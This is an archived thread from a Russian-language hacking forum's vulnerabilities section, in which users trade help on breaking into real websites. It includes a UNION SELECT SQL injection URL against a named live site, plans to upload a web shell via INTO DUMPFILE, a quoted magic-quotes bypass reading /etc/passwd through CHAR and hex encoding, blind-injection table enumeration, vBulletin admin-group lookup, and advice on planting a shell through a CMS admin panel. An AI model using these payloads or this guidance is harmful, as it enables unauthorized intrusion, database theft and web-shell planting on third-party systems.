HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #17771  
Старый 31.07.2011, 17:55
lukmus
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
Провел на форуме:
1410429

Репутация: 214


По умолчанию

PostgreSQL 9.0.3 on i386-portbld-freebsd8.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD], 32-bit

Близорукая инъекция.

Если через нее подбирать ascii к версии, пользователю или имени БД то все норм выводится.

Когда же начинаю вычислять имена таблиц, то они мягко говоря странные и для вариантов через INFORMATION_SCHEMA и PG_TABLES они разные:

INFORMATION_SCHEMA:

Код:
Code:
uuywywwuwuwwuwuywwuuu h  u  
hyuuuuu uyuy uy  u 
_hh_hhy_  yu_ h__ ___ssesosngio 
jc_j_ hx__  x_ vx_xxceetrinaam 
csccc_ ccc__cc_scxccstnrogz    
kesvkc_kvvjcvvcescssefroi     
vnessscssscvssvneveenool     
stneeekeeevseestnsnntip     
eqtnnnvnnnsennerterrpma     
trqtttstttenttnbqnoogp     
rorrrrerrrntrrtortllag     
flffffnzbftrbfrlbqii     
bibbbbtbobrbobfiorad     
idlooorolobolobdlb p    
dpilllzlilllilomio a    
pgdiiioidiiidilpdl     
aapdddldmpddpmigmd     
  mpppippmppggdapm   
  gmmmdmggmgaam gp  
  agggpgaaga  p 
   aaama
ASCII идентичные UTF-8 коды для вышеуказанных имен таблиц:

Код:
Code:
117 117 121 119 121 119 119 117 119 117 119 119 117 119 117 121 119 119 117 117 117  104   117   
104 121 117 117 117 117 117  117 121 117 121  117 121   117  
95 104 104 95 104 104 121 95   121 117 95  104 95 95  95 95 95 115 115 101 115 111 115 110 103 105 111  
106 99 95 106 95  104 120 95 95   120 95  118 120 95 120 120 99 101 101 116 114 105 110 97 97 109  
99 115 99 99 99 95  99 99 99 95 95 99 99 95 115 99 120 99 99 115 116 110 114 111 103 122     
107 101 115 118 107 99 95 107 118 118 106 99 118 118 99 101 115 99 115 115 101 102 114 111 105      
118 110 101 115 115 115 99 115 115 115 99 118 115 115 118 110 101 118 101 101 110 111 111 108      
115 116 110 101 101 101 107 101 101 101 118 115 101 101 115 116 110 115 110 110 116 105 112      
101 113 116 110 110 110 118 110 110 110 115 101 110 110 101 114 116 101 114 114 112 109 97      
116 114 113 116 116 116 115 116 116 116 101 110 116 116 110 98 113 110 111 111 103 112      
114 111 114 114 114 114 101 114 114 114 110 116 114 114 116 111 114 116 108 108 97 103      
102 108 102 102 102 102 110 122 98 102 116 114 98 102 114 108 98 113 105 105      
98 105 98 98 98 98 116 98 111 98 114 98 111 98 102 105 111 114 97 100      
105 100 108 111 111 111 114 111 108 111 98 111 108 111 98 100 108 98  112     
100 112 105 108 108 108 122 108 105 108 108 108 105 108 111 109 105 111  97     
112 103 100 105 105 105 111 105 100 105 105 105 100 105 108 112 100 108      
97 97 112 100 100 100 108 100 109 112 100 100 112 109 105 103 109 100      
  109 112 112 112 105 112 112 109 112 112 103 103 100 97 112 109    
  103 109 109 109 100 109 103 103 109 103 97 97 109  103 112   
  97 103 103 103 112 103 97 97 103 97   112  
   97 97 97 109 97
PG_TABLES:

Код:
Code:
huuuywhuuuyw  yyw   
jy__uu   y  
cecjhhc_c _cxe___ecineo    
sqscs vxv_jscnveensdpta    
trnse_scsscestsnntapaf     
borencekeesnertirr     
dgbntsnsnnetnormoo     
paltretetttrtlfplg     
a drfnrnrrrbrio d   
  mfbtztbfloomg   
  poorlrobiiiaa   
  gllfibloddg   
   iibdoilppa  
   ddomldimg  
   ppipimpga  
   gmdgdpma  
   agpamgg  
    am
Код:
Code:
104 117 117 117 121 119 104 117 117 117 121 119   121 121 119    
106 121 95 95 117 117    121   
99 101 99 106 104 104 99 95 99  95 99 120 101 95 95 95 101 99 105 110 101 111     
115 113 115 99 115  118 120 118 95 106 115 99 110 118 101 101 110 115 100 112 116 97     
116 114 110 115 101 95 115 99 115 115 99 101 115 116 115 110 110 116 97 112 97 102      
98 111 114 101 110 99 101 107 101 101 115 110 101 114 116 105 114 114      
100 103 98 110 116 115 110 115 110 110 101 116 110 111 114 109 111 111      
112 97 108 116 114 101 116 101 116 116 116 114 116 108 102 112 108 103      
97  100 114 102 110 114 110 114 114 114 98 114 105 111  100    
  109 102 98 116 122 116 98 102 108 111 111 109 103    
  112 111 111 114 108 114 111 98 105 105 105 97 97    
  103 108 108 102 105 98 108 111 100 100 103    
   105 105 98 100 111 105 108 112 112 97   
   100 100 111 109 108 100 105 109 103   
   112 112 105 112 105 109 112 103 97   
   103 109 100 103 100 112 109 97   
   97 103 112 97 109 103 103   
    97 109
Пробывал делать to_ascii(TABLE_NAME), но в таком случае:

Код:
Code:
pg_query(): Query failed: ERROR: encoding conversion from UTF8 to ASCII not supported
 
Ответить с цитированием

  #17772  
Старый 31.07.2011, 18:41
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Cherep  
Cherep said:
есть форум на vbulletin, можно ли какнибудь посмотреть(до расшифровки хешей), какие группы могут входить в админ панель?Точнее так, в какой таблице хранятся группы которые могут входить в админку
usergroupid=6

это группа админов, смотри в таблице user
 
Ответить с цитированием

  #17773  
Старый 01.08.2011, 01:57
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Привет. Интересует заливка шелла через БД.

Код HTML:
HTML:
http://www.stpatsfc.com/news.php?id=-2839%20UNION%20SELECT%201,2,3,4,5,6,file_priv%20from%20mysql.user--
Выдает ошибку:

SELECT command denied to user 'stpatsf_admin'@'web6.novara.ie' for table 'user'

Получается, что невозможно выполнить SELECT ... INTO DUMPFILE 'бла-бла', и шелл залить нельзя? Максимум это слить базу?
 
Ответить с цитированием

  #17774  
Старый 01.08.2011, 02:44
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от =Zeus=  
=Zeus= said:
Привет. Интересует заливка шелла через БД.
Код HTML:
HTML:
http://www.stpatsfc.com/news.php?id=-2839%20UNION%20SELECT%201,2,3,4,5,6,file_priv%20from%20mysql.user--
Выдает ошибку:
SELECT command denied to user 'stpatsf_admin'@'web6.novara.ie' for table 'user'
Получается, что невозможно выполнить SELECT ... INTO DUMPFILE 'бла-бла', и шелл залить нельзя? Максимум это слить базу?
через SQL запрос залить шелл не получится
 
Ответить с цитированием

  #17775  
Старый 02.08.2011, 00:34
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
По умолчанию

Цитата:
Сообщение от =Zeus=  
=Zeus= said:
SELECT command denied to user 'stpatsf_admin'@'web6.novara.ie' for table 'user'
Эта ошибка означает, что у текущего пользователя БД нет доступа к таблице mysql.user. Тем не менее при этом file_priv может быть Y. Но в данном случае экранируются кавычки, так что INTO DUMPFILE не сработает в любом случаем. MySQL там 5ой версии, слей названия таблиц, поищи админку и т.д.
 
Ответить с цитированием

  #17776  
Старый 02.08.2011, 03:56
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Цитата:
Сообщение от Nek1t  
Nek1t said:
Но в данном случае экранируются кавычки, так что INTO DUMPFILE не сработает в любом случаем.
Думаю что кавычки это наименьшая из проблем там. Ведь у пользователя нету прав.

Странно, я почему-то думал, что Magic Quotes можно обойти. Правда опыта у меня не много, пока в основном читаю литературу. Например Bernardo Damele, ведущий разработчик sqlmap, пишет по этому поводу так (http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated):

Цитата:
Сообщение от None  
PHP Magic Quotes bypass: Avoid single quotes
Example on MySQL:
LOAD_FILE('/etc/passwd') will be:
LOAD_FILE(CHAR(47,101,116,99,47,112,97, 115,115,119,100)) or LOAD_FILE(0x2f6574632f706173737764)
It is not limited to bypass only PHP Magic Quotes.
 
Ответить с цитированием

  #17777  
Старый 02.08.2011, 14:50
FoXuk
Познающий
Регистрация: 23.12.2009
Сообщений: 70
Провел на форуме:
641075

Репутация: 10
По умолчанию

есть доступ в админку сайта, но не получается залить шелл.

через менеджер изображений не получается. есть возможность добавлять свои переменные на сайте в виде массива или переменной...

можно ли какой-нибудь код добавить,чтобы можно было как-то залиться шелл?
 
Ответить с цитированием

  #17778  
Старый 02.08.2011, 15:01
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

Если есть доспут к админке - есть доступ к структуре. Можно залить нормальным образом.
 
Ответить с цитированием

  #17779  
Старый 02.08.2011, 15:11
FoXuk
Познающий
Регистрация: 23.12.2009
Сообщений: 70
Провел на форуме:
641075

Репутация: 10
По умолчанию

если бы всё так на деле обстояло. переменные, которые уже забиты указывают в основом как выводить картинку, как показано меню и т.д. в хтмл форме.
 
Ответить с цитированием

  #17780  
Старый 02.08.2011, 16:40
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от FoXuk  
FoXuk said:
есть доступ в админку сайта, но не получается залить шелл.
через менеджер изображений не получается. есть возможность добавлять свои переменные на сайте в виде массива или переменной...
можно ли какой-нибудь код добавить,чтобы можно было как-то залиться шелл?
В двойных кавычках(С разрешением RG, или с не экранированием одинарных), или попробовать выйти за пределы переменной.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ